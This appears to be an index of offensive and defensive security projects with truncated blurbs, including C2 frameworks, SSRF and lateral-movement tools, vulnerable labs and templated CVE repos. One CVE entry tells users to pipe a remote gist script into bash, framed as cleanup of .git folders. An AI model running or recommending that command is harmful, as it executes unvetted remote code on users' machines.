Docker-Security

Docker 安全 这是 OWASP Docker Top 10。它是一份正在进行中的工作。 关于本文档 本文档描述了构建安全容器化环境时最重要的 10 个安全要点。如果你从零开始，可以把它当作一份规格说明书；也可以把它交给为你做这项工作的外包承包商。 它也可以用于审计或加固现有安装环境，但尤其在这种情况下，你应该尽早开始考虑安全问题。最好是在设计阶段。到后期，要么很难更改你已做的某些决策，要么这些更改会在金钱或时间上付出高昂代价。 名称 尽管这份文档的名称与 OWASP Top 10 相似，但它其实很不一样。首先，它并非像 OWASP Top 10...

SecGen

apt 目次 1. 説明 - モジュールの機能とその有益性 2. セットアップ - apt導入の基本 aptが影響を与えるもの aptの使用を開始する 3. 使用 - 設定オプションと追加機能 GPGキーの追加 バックポートの優先度を上げる パッケージリストの更新 特定のリリースのピン止め PPA Personal Package Archiveレポジトリの追加 HieraからのAptの構成 デフォルトのsources.listファイルの置き換え 4. 参考 - モジュールの機能と動作について 5. 制約 - OS互換性など 6. 開発 - モジュール貢献についてのガイド モジュールの概...

mssqlproxy

mssqlproxy mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse. The client requires impacket and sysadmin privileges on the SQL server. Please read this article carefully before continuing. It consists of...

cnappgoat

CNAPPgoat CNAPPgoat 是一款多云、自带漏洞的环境部署工具——专门为防御者和渗透测试者打造演练场地。其主要功能是在多个云服务提供商上部署故意配置了漏洞的环境，帮助你磨练利用、检测和防范此类漏洞的技能。 警告 ：CNAPPgoat 会部署存在漏洞的环境。请仅在安全、可控的沙箱中使用。 快速开始 CNAPPgoat 作为命令行界面（CLI）工具，能够将漏洞环境部署到多个云服务提供商。它基于 Go 构建，并利用 Pulumi 和 Pulumi 自动化 API，确保环境部署无缝进行。其独特特性之一是模块化设计，可轻松扩展以支持更多云服务提供商和新的漏洞环境。目前，CNAPPgoa...

laforge

Laforge Security Competition Infrastructure Automation Framework Laforge enables rapid development of infrastructure for the purpose of information security competitions. Using a simple and intuitive configuration language, Laforge manages a dependency graph and state management and allows for...

surf

Surf - Escalate your SSRF vulnerabilities on Modern Cloud Environments surf allows you to filter a list of hosts, returning a list of viable SSRF candidates. It does this by sending a HTTP request from your machine to each host, collecting all the hosts that did not respond, and then filtering th...

surf

Surf - モダンクラウド環境におけるSSRF脆弱性を増幅させる surf を使用すると、ホストのリストをフィルタリングし、有効なSSRF候補のリストを取得できます。仕組みとしては、各ホストに対して自身のマシンからHTTPリクエストを送信し、応答がなかったすべてのホストを収集し、それらを外部向けホストと内部向けホストに分類します。...

incarcero

Incarcero: マルウェア分析のためのスイスアーミーナイフ マルウェア分析は、爆弾の解体と似ています。目的は、害を及ぼすために作られたプログラムを分解し理解することですが、多くの場合、分析をより複難にするために難読化（例：パック）されています。 Incarcero は、ユーザーの操作を一切必要とせず、マルウェア分析に特化したセキュリティ設定とツールを事前構成した仮想マシン（VM）を作成するツールです。 さらに、このリポジトリにはおそらく最大のマルウェアソースコードコレクション と、有名なオンラインデータベースからマルウェアサンプルをダウンロードできるモジュールも含まれています。 注...

XMGoat

XMGoat 概要 XM Goat は、XM Cyber の Terraform テンプレートで構成されており、Azure の一般的なセキュリティ問題について学習するのに役立ちます。各テンプレートは脆弱な環境であり、いくつかの重大な設定ミスが含まれています。あなたの役割は、これらの環境を攻撃し、侵害することです。 各環境での手順は次のとおりです。 1. インストールを実行し、その後開始します。 2. 初期ユーザーとサービスプリンシパルの資格情報を使用して、シナリオフローに基づいて環境を攻撃します（例：XMGoat/scenarios/scenario1/scenario1flow.png...

kubesploit

Kubesploit Kubesploit is a cross-platform post-exploitation HTTP/2 Command & Control server and agent dedicated for containerized environments written in Golang and built on top of Merlin project by Russel Van Tuyl @Ne0nd0g. Our Motivation While researching Docker and Kubernetes, we noticed that...

kubesploit

Kubesploit Kubesploitは、Golangで書かれ、Merlinプロジェクト（作者 Russel Van Tuyl @Ne0nd0g）をベースに構築された、コンテナ環境向けのクロスプラットフォームなポストエクスプロイテーションHTTP/2 Command & Controlサーバーおよびエージェントです。 私たちの動機 Docker と Kubernetes を調査する中で、現在利用可能なツールのほとんどがクラスターの脆弱性を受動的にスキャンすることに焦点を当てており、より複雑な攻撃ベクトルのカバレッジが不足していることに気づきました。...

CVE-2026-64600

CVE-2026-64600 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单用法 请仅在安全且已获授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 已获授权的渗透测试环境 示例配置： git clone cd 项目使用 python，请遵循以下步骤 创建虚拟环境 python -m venv venv 激活虚拟环境 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate 安装依赖 pip install -...

CVE-2026-53365

CVE-2026-53365 捐赠 支持本项目的维护，可通过 PayPal 捐款或扫描下方二维码。 ⚡ 简单用法 请仅在安全且获得授权的环境中使用此项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 获得授权的渗透测试环境 示例设置与用法： Follow dir project 注意： 从其他项目克隆时，你必须运行 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 来清除嵌套的 .git 目录...

awesome-cyber-skills

🛡️ awesome-cyber-skills A curated list of hacking environments where you can train your cyber skills free, legally and safely. 👋 Welcome Welcome to awesome-cyber-skills — your one-stop library for free, legal, and safe places to train your cybersecurity skills. 📑 Table of Contents 📖 About the List...

pafish

Pafish Pafish is a testing tool that uses different techniques to detect virtual machines and malware analysis environments in the same way that malware families do. The project is free and open source; the code of all the anti-analysis techniques is publicly available. Pafish executables for...

atomic-operator

license atomic-operator This python package is used to execute Atomic Red Team tests Atomics across multiple operating system environments. What's new? Why? atomic-operator enables security professionals to test their detection and defensive capabilities against prescribed techniques defined with...

Gitea 1.1.0 - 1.12.5 - Remote Code Execution

Gitea 1.1.0 through 1.12.5 is susceptible to authenticated remote code execution, via the git hook functionality, in customer environments where the documentation is not understood e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the...

Juniper J-Web - Remote Code Execution

A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands id: CVE-2023-36845 info: name: Juniper J-Web - Remote Code...

VulApps

VulApps http://vulapps.evalbug.com/ 收集各种漏洞环境，为方便使用，统一采用 Dockerfile 形式。同时也收集了安全工具环境。 喜欢请点 Star，如果不打算贡献，千万别 Fork 本项目 GitHub 地址: https://github.com/Medicean/VulApps DockerHub 在线镜像地址 获取并使用相关镜像 直接使用 docker 命令拉取相关镜像，并启动。 需要查看相关环境的 tag 在Github具体的漏洞目录下查看 README 文件 以 Struts2 S2-037 漏洞环境为例： 通过 S2-037漏洞环境的...

CVE-2026-60121-CVE-2026-61498

cve-id ⚡ 简单使用 请仅在安全且获得授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 授权的渗透测试环境 示例设置： git clone cd 项目使用 Python，请遵循以下步骤 创建虚拟环境 python -m venv venv 激活虚拟环境 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate 安装依赖 pip install -r requirements.txt 示例用法： 安装依赖 运行项目...